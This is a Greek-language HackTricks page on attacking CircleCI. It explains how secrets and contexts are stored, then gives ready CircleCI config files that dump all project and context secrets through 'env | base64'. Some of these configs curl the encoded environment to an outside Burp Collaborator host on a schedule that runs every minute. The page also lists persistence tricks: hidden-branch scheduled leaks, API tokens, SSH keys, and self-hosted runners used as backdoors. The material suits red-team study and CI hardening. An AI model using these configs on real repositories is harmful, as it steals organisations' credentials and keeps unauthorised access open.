CircleCI Security

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

CircleCI είναι μια πλατφόρμα Συνεχούς Ενσωμάτωσης όπου μπορείτε να ορίσετε πρότυπα που υποδεικνύουν τι θέλετε να κάνει με κάποιον κώδικα και πότε να το κάνει. Με αυτόν τον τρόπο μπορείτε να αυτοματοποιήσετε τις δοκιμές ή τις αναπτύξεις απευθείας από τον κύριο κλάδο του αποθετηρίου για παράδειγμα.

Δικαιώματα

Το CircleCI κληρονομεί τα δικαιώματα από το github και το bitbucket που σχετίζονται με τον λογαριασμό που συνδέεται. Στις δοκιμές μου επιβεβαίωσα ότι όσον αφορά τα δικαιώματα εγγραφής στο αποθετήριο στο github, θα μπορείτε να διαχειριστείτε τις ρυθμίσεις του έργου στο CircleCI (ορίστε νέα κλειδιά ssh, λάβετε κλειδιά api του έργου, δημιουργήστε νέα κλαδιά με νέες ρυθμίσεις του CircleCI...).

Ωστόσο, πρέπει να είστε διαχειριστής του αποθετηρίου για να μετατρέψετε το αποθετήριο σε έργο του CircleCI.

Μεταβλητές Περιβάλλοντος & Μυστικά

Σύμφωνα με τα έγγραφα υπάρχουν διάφοροι τρόποι για να φορτώσετε τιμές σε μεταβλητές περιβάλλοντος μέσα σε ένα ροή εργασίας.

Ενσωματωμένες μεταβλητές περιβάλλοντος

Κάθε εικονική μηχανή που εκτελείται από το CircleCI θα έχει πάντα συγκεκριμένες μεταβλητές περιβάλλοντος που έχουν καθοριστεί στα έγγραφα όπως CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME ή CIRCLE_USERNAME.

Καθαρό κείμενο

Μπορείτε να τις δηλώσετε σε καθαρό κείμενο μέσα σε μια εντολή:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο περιβάλλον run:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο περιβάλλον build-job:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Μπορείτε να τα δηλώσετε σε καθαρό κείμενο μέσα στο περιβάλλον ενός container:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Μυστικά του Έργου

Αυτά είναι τα μυστικά που θα είναι προσβάσιμα μόνο από το έργο (από οποιοδήποτε κλαδί). Μπορείτε να τα δείτε να δηλώνονται στο https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Η λειτουργία "Εισαγωγή Μεταβλητών" επιτρέπει την εισαγωγή μεταβλητών από άλλα έργα σε αυτό.

Μυστικά Πλαίσιο Πληροφοριών

Αυτά είναι μυστικά που ισχύουν για ολόκληρο τον οργανισμό. Από προεπιλογή, οποιοδήποτε αποθετήριο θα μπορεί να έχει πρόσβαση σε οποιοδήποτε μυστικό που αποθηκεύεται εδώ:

Ωστόσο, σημειώστε ότι μπορεί να επιλεγεί μια διαφορετική ομάδα (αντί για Όλα τα μέλη) για να δοθεί πρόσβαση στα μυστικά μόνο σε συγκεκριμένα άτομα. Αυτή είναι αυτήν τη στιγμή μία από τις καλύτερες τρόπους για να αυξηθεί η ασφάλεια των μυστικών, να μην επιτραπεί σε όλους να τα αποκτήσουν αλλά μόνο σε μερικά άτομα.

Επιθέσεις

Αναζήτηση Μυστικών Καθαρού Κειμένου

Εάν έχετε πρόσβαση στο VCS (όπως το github), ελέγξτε το αρχείο .circleci/config.yml για κάθε αποθετήριο σε κάθε κλαδί και αναζητήστε πιθανά μυστικά καθαρού κειμένου που αποθηκεύονται εκεί.

Απαρίθμηση Μεταβλητών Περιβάλλοντος & Πλαισίων Πληροφοριών

Ελέγχοντας τον κώδικα μπορείτε να βρείτε όλα τα ονόματα των μυστικών που χρησιμοποιούνται σε κάθε αρχείο .circleci/config.yml. Μπορείτε επίσης να πάρετε τα ονόματα του πλαισίου πληροφοριών από αυτά τα αρχεία ή να τα ελέγξετε στην ιστοσελίδα: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Εξαγωγή Μυστικών του Έργου

Για να εξαχθούν ΟΛΑ τα μυστικά του έργου και των πλαισίων πληροφοριών, απαιτείται να έχετε πρόσβαση ΕΓΓΡΑΦΗΣ σε μόνο 1 αποθετήριο σε ολόκληρο τον οργανισμό του github (και ο λογαριασμός σας πρέπει να έχει πρόσβαση στα πλαίσια, αλλά από προεπιλογή όλοι μπορούν να έχουν πρόσβαση σε κάθε πλαίσιο).

Η λειτουργία "Εισαγωγή Μεταβλητών" επιτρέπει την εισαγωγή μεταβλητών από άλλα έργα σε αυτό. Έτσι, ένας επιτιθέμενος μπορεί να εισαγάγει όλες τις μεταβλητές του έργου από όλα τα αποθετήρια και στη συνέχεια να εξάγει όλες μαζί.

Όλα τα μυστικά του έργου ορίζονται πάντα στο περιβάλλον των εργασιών, οπότε απλά καλώντας το env και αποκρύπτοντάς το σε base64 θα εξαχθούν τα μυστικά στην κονσόλα καταγραφής του ιστολογίου των ροών εργασίας:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Αν δεν έχετε πρόσβαση στην κονσόλα του web αλλά έχετε πρόσβαση στο αποθετήριο και γνωρίζετε ότι χρησιμοποιείται το CircleCI, μπορείτε απλά να δημιουργήσετε ένα ροή εργασίας που ενεργοποιείται κάθε λεπτό και που αποστέλλει τα μυστικά σε μια εξωτερική διεύθυνση.

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Εξαγωγή Μυστικών Πληροφοριών Περιβάλλοντος

Πρέπει να καθορίσετε το όνομα του περιβάλλοντος (αυτό θα εξάγει επίσης τα μυστικά του έργου):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Αν δεν έχετε πρόσβαση στην κονσόλα του web αλλά έχετε πρόσβαση στο αποθετήριο και γνωρίζετε ότι χρησιμοποιείται το CircleCI, μπορείτε απλά να τροποποιήσετε ένα ροή εργασίας που ενεργοποιείται κάθε λεπτό και που αποστέλλει τα μυστικά σε μια εξωτερική διεύθυνση:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Απλά δημιουργώντας ένα νέο .circleci/config.yml σε ένα αποθετήριο δεν είναι αρκετό για να ενεργοποιηθεί μια διαδικασία κατασκευής στο circleci. Πρέπει να το ενεργοποιήσετε ως ένα έργο στην κονσόλα του circleci.

Απόδραση στο Cloud

Το CircleCI σας δίνει τη δυνατότητα να εκτελέσετε τις διαδικασίες κατασκευής σας στις μηχανές τους ή στις δικές σας. Από προεπιλογή, οι μηχανές τους βρίσκονται στο GCP και αρχικά δεν θα μπορέσετε να βρείτε κάτι σχετικό. Ωστόσο, αν ένα θύμα εκτελεί τις διαδικασίες στις δικές του μηχανές (πιθανώς, σε ένα περιβάλλον cloud), μπορείτε να βρείτε ένα σημείο πρόσβασης σε μεταδεδομένα του cloud με ενδιαφέρουσες πληροφορίες.

Παρατηρήστε ότι στα προηγούμενα παραδείγματα εκτελέστηκαν όλα μέσα σε έναν docker container, αλλά μπορείτε επίσης να ζητήσετε να εκτελεστεί μια εικονική μηχανή VM (η οποία μπορεί να έχει διαφορετικές άδειες cloud):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Ή ακόμη και ένας docker container με πρόσβαση σε απομακρυσμένη υπηρεσία docker:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Διατήρηση

  • Είναι δυνατόν να δημιουργηθούν διακριτικά χρήστη στο CircleCI για πρόσβαση στα σημεία της API με τις δικαιώσεις του χρήστη.

  • https://app.circleci.com/settings/user/tokens

  • Είναι δυνατόν να δημιουργηθούν διακριτικά έργων για πρόσβαση στο έργο με τις δικαιώσεις που έχουν δοθεί στο διακριτικό.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Είναι δυνατόν να προστεθούν κλειδιά SSH στα έργα.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Είναι δυνατόν να δημιουργηθεί ένα προγραμματισμένο έργο σε κρυφή κλαδί σε ένα απρόσμενο έργο που διαρρέει όλες τις μεταβλητές περιβάλλοντος του περιβάλλοντος καθημερινά.

  • Ή ακόμα και να δημιουργηθεί σε ένα κλαδί / τροποποιηθεί ένα γνωστό έργο που θα διαρρέει όλα τα περιβαλλοντικά και τα μυστικά των έργων καθημερινά.

  • Εάν είστε κάτοχος του github, μπορείτε να επιτρέψετε μη επαληθευμένες σφαίρες και να διαμορφώσετε μια σε ένα έργο ως πίσω πόρτα

  • Μπορείτε να βρείτε μια ευπάθεια εντολών εισαγωγής σε κάποια εργασία και να εισάγετε εντολές μέσω ενός μυστικού τροποποιώντας την τιμή του

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated